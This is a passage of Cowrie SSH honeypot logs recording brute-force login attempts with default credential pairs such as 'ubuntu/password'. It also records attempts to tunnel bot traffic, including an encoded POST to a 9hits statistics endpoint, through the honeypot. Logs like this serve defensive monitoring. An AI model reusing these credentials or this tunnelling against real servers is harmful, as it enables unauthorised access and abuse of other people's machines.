no-cache\\r\\n\\r\\n_=PiNSNm1NKUZGQ21GcT54TA%3D%3DWWk6DHZoF%2BinpFf16MnWKfgsyFKk6TjeyKOSXjDxPhN6UDzC3EvWMssaay86NBLJ8QuT3qSCutqOEhdby7nT69HwuQX5w06xLQuiteBYajhIxO99589zxvnntVc%2FLItFPY0iuvm5D0BmXcUp3RDJr3Zi%2BXjUu8kztjlCSCajfxlCY24om000oBX%2BPUDD8Th0L%2FnmjcnYxbj0lxbDgT8l9jG1u6t4%2FXk0VDOowLAx8ENfc3Q4D9DHvIO39aUq7bDjye%2F6wzpc5qiRlu8sVe1VPpQUuZ5hLB9l%2FC5laQSNgeeEECdGSnZe4RR4dp4HCN1HZ%2FPcoqZbmBQ9hrPHZWMltOt76u7RIu4g1i7Rq4dHfNd129lD51Ee0xqKIKnQgolwiVj8dgsD0drnskDV%2FeSRXjSXUf3pPDICcqog6tfqFmwuddvUONUZO8aIC6C%2BLp4qsCan3dZHNGLgSnMDtz%2FH27SWKQD7wvWSC5jojJFV%2F06e8ja6TH05S4gBmXukR6VUE68RLRrotbqDFsKPrdH2XJL5wrBiKy%2Fa53Eao4EkvNWk9S7hBq5WaFaoBC7rwlen9I957lmEtApxmIIWtSqofp7td7CpuBYPwGo1yMgz0kwtGeuA%2BvdPcOoHMpuk0ZyWPHlqQc0vfvzMI4m2V38rF1vHMISr47OVXrxRAiqZfoWzcdPYQOOLGc3eU84TGBxmxkSrL2qoWdYxX%2FzeG9NHhH%2FWcvUISMPeBoX0yPq6HqQqgM4kFjlaOv1%2BmfOJTSnoAtJCQ7zbYb%2BmJvqZWhef3OEP3FARMPh9fK6lhsDox99LJnIaaW7ovJ9ULsYo0N71lxNr%2BPmGes0eOsUzDNDA58lFebj4iTGRx31gYUM12vFjiN2LhEgglXmPAeq%2Fo8K9JDNyVdoOIWV4L7jF2YHiOAdTNZPJAzlDkxpxlYgCNNsiCBBtvLoAS2Hf%2Fs%2BFtTvPEZBXi6j3jj7rAVFMJzhCyaIbdr1vtV8KuN4AFJRFsUYcn1RpuDg7crppHBLL4h8aCffknABowUD8t%2BbnGNPj%2Bftpp1nbhTREcmnhe4r7JNp3Lv3T7vVf0vyN8yHPUKFF'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:56.925209Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:57.016913Z","src_ip":"91.92.40.36","session":"2ce1bc8e6eb1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:57.229680Z","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:57.265228Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; TB-7504X Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cWEoaGFtRk5Te3s3JFZjUA%3D%3DOBhm8aaKBRzpC219Bd9Vc%2FMYCw3JnV4LCmxjOvUTQvT7ZceT%2BbX0JDXMnlfHfxLCUY78M7fD7Bn%2BQ0DWsvz3jb0uTPgdzXe46kXmmDQI6DNx0oU%2Bb78Wxd1S8yB9rA%2FmHJCcxgYIqwbYDfg9itGtgkFS2%2BPok7PV6Pdphi4cKL%2BdZGhxn8D60zGF%2Bvj7yx2jtFEMvdQgFbq1HBTq3%2FpxOuxqexXNM%2B0o1iNQlcrCxf5qxc2%2BiFT3c5V6g89nfjwBArUD3L%2BZcTEDTcAKSvabFw4j7MW9qghvTTMXe%2Bs9vVDoxcNPDCKHQ%2FQ0mr6GYv7sj7f1BGkJyuQRi%2BOPjx%2Bzjx1LLd9KDrcbarJ6NtJ73KnEyf9A1UjduH5DnTyS3dCJ32BPip8ip0hniHt8G3MF7qb5CVmjpwwG7sqsrowIVLSlfTS8P6uUF2W9GtAtTIQe50EvSwJZ69EoRUqZb2aEI3FYobTmReloJWovGtzRtp0YYniCW3pwa1o0LCezcPzJGSTTCyXtATigDkTg7DNT6WvxNiZhPkJJbRrCjIB%2BsNOEaVlGxDC87ZaeZfRZEfTse%2Bfc2obg77xD7zTtwC503BshKhMho65QrIfJWVHs9OdOFu0yOAwTbMBo59HycO7qeTxoVlfqq8AvLqucJbo1AOBjGrXHY5Uk4LjA7MeY3XZqUqbK%2FwtZMlng3dzuAQq5YETdw4Uj4bhLjf58QRlw3Q2GSeQhDcG4kwZnUjOo%2BBMVqISt0i9m1KUZaaxgVrd7KUeTwJyPDOtIVZREox5DObJqdlsP%2BBvD5SywHk9Xnyn2T8G8PTzXX7jByOnrILisHCjEarLIHZudSh8n2WDvgM11418ULhrmw2wKA294WKQCPezNCOOJogQXDUrIypIwMV1K%2BVKW6p8yot5EeGgbC6ku%2FQs8Fp3p0fNsVtxL%2FPbAOAyZkBr6fO98FrfmrEoLUvK3%2BoSEr9eXF0GBl7d%2Fss4fI8F%2Fe%2FI66JcKgnyUByK9tY%2B9ygRN5cQTHp8KHDguEybaK7cS9wbxnTDgzYwcUOk%2BmwcsplmDECZIp7b%2F0QcYxM7XR%2F1R42Ixa8Qy1ck%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; TB-7504X Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cWEoaGFtRk5Te3s3JFZjUA%3D%3DOBhm8aaKBRzpC219Bd9Vc%2FMYCw3JnV4LCmxjOvUTQvT7ZceT%2BbX0JDXMnlfHfxLCUY78M7fD7Bn%2BQ0DWsvz3jb0uTPgdzXe46kXmmDQI6DNx0oU%2Bb78Wxd1S8yB9rA%2FmHJCcxgYIqwbYDfg9itGtgkFS2%2BPok7PV6Pdphi4cKL%2BdZGhxn8D60zGF%2Bvj7yx2jtFEMvdQgFbq1HBTq3%2FpxOuxqexXNM%2B0o1iNQlcrCxf5qxc2%2BiFT3c5V6g89nfjwBArUD3L%2BZcTEDTcAKSvabFw4j7MW9qghvTTMXe%2Bs9vVDoxcNPDCKHQ%2FQ0mr6GYv7sj7f1BGkJyuQRi%2BOPjx%2Bzjx1LLd9KDrcbarJ6NtJ73KnEyf9A1UjduH5DnTyS3dCJ32BPip8ip0hniHt8G3MF7qb5CVmjpwwG7sqsrowIVLSlfTS8P6uUF2W9GtAtTIQe50EvSwJZ69EoRUqZb2aEI3FYobTmReloJWovGtzRtp0YYniCW3pwa1o0LCezcPzJGSTTCyXtATigDkTg7DNT6WvxNiZhPkJJbRrCjIB%2BsNOEaVlGxDC87ZaeZfRZEfTse%2Bfc2obg77xD7zTtwC503BshKhMho65QrIfJWVHs9OdOFu0yOAwTbMBo59HycO7qeTxoVlfqq8AvLqucJbo1AOBjGrXHY5Uk4LjA7MeY3XZqUqbK%2FwtZMlng3dzuAQq5YETdw4Uj4bhLjf58QRlw3Q2GSeQhDcG4kwZnUjOo%2BBMVqISt0i9m1KUZaaxgVrd7KUeTwJyPDOtIVZREox5DObJqdlsP%2BBvD5SywHk9Xnyn2T8G8PTzXX7jByOnrILisHCjEarLIHZudSh8n2WDvgM11418ULhrmw2wKA294WKQCPezNCOOJogQXDUrIypIwMV1K%2BVKW6p8yot5EeGgbC6ku%2FQs8Fp3p0fNsVtxL%2FPbAOAyZkBr6fO98FrfmrEoLUvK3%2BoSEr9eXF0GBl7d%2Fss4fI8F%2Fe%2FI66JcKgnyUByK9tY%2B9ygRN5cQTHp8KHDguEybaK7cS9wbxnTDgzYwcUOk%2BmwcsplmDECZIp7b%2F0QcYxM7XR%2F1R42Ixa8Qy1ck%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:57.267967Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":65204,"dst_ip":"10.17.0.5","dst_port":22,"session":"95b499b1a6b1","protocol":"ssh","message":"New connection: 45.153.34.195:65204 (10.17.0.5:22) [session: 95b499b1a6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:58.258787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:58.266615Z","src_ip":"45.153.34.195","session":"95b499b1a6b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:58.347203Z","src_ip":"45.153.34.195","session":"95b499b1a6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:58.795337Z","src_ip":"45.153.34.195","session":"95b499b1a6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:59.884627Z","src_ip":"45.153.34.195","session":"95b499b1a6b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32564,"dst_ip":"10.17.0.5","dst_port":22,"session":"0556c667cfef","protocol":"ssh","message":"New connection: 91.92.40.36:32564 (10.17.0.5:22) [session: 0556c667cfef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:00.115459Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":55094,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fcda4f697b8","protocol":"ssh","message":"New connection: 173.208.188.210:55094 (10.17.0.5:22) [session: 8fcda4f697b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:00.402726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:00.410705Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:00.500088Z","src_ip":"91.92.40.36","session":"0556c667cfef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:00.506939Z","src_ip":"91.92.40.36","session":"0556c667cfef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":65212,"dst_ip":"10.17.0.5","dst_port":22,"session":"67a50847b5fd","protocol":"ssh","message":"New connection: 45.153.34.195:65212 (10.17.0.5:22) [session: 67a50847b5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:01.010227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:01.165416Z","src_ip":"45.153.34.195","session":"67a50847b5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:01.169116Z","src_ip":"45.153.34.195","session":"67a50847b5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:01.197169Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:01.671743Z","src_ip":"45.153.34.195","session":"67a50847b5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.423107Z","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.506477Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xd5\\x9d\\xf1\\xc9\\xd4~/4^\\x02`\\xbf\\x89f%1\\x9b\\xc2\\xb2\\xec\\xb9\\xc8\\x1drt\\xeaL\\xc9\\x9dG\\x16 \\x14d<\\x9a\\xd1\\xe5\\xf9\\x0e\\xb7\\x1di#\\xee\\x85\\xd7\\x12\\x96\\xf6U\\xee\\xda~`\\r$\\x03q\\\\L\\xe3\\x15)\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xff?\\x80\\xd9\\x81|%\\xe4\\x98g\\xd1pz\\xc528n\\xec\\xd7\\x91v\\x8f\\x1d\\x0f\\x99p\\xf0\\x83\\x89f\\x81\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xd5\\x9d\\xf1\\xc9\\xd4~/4^\\x02`\\xbf\\x89f%1\\x9b\\xc2\\xb2\\xec\\xb9\\xc8\\x1drt\\xeaL\\xc9\\x9dG\\x16 \\x14d<\\x9a\\xd1\\xe5\\xf9\\x0e\\xb7\\x1di#\\xee\\x85\\xd7\\x12\\x96\\xf6U\\xee\\xda~`\\r$\\x03q\\\\L\\xe3\\x15)\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 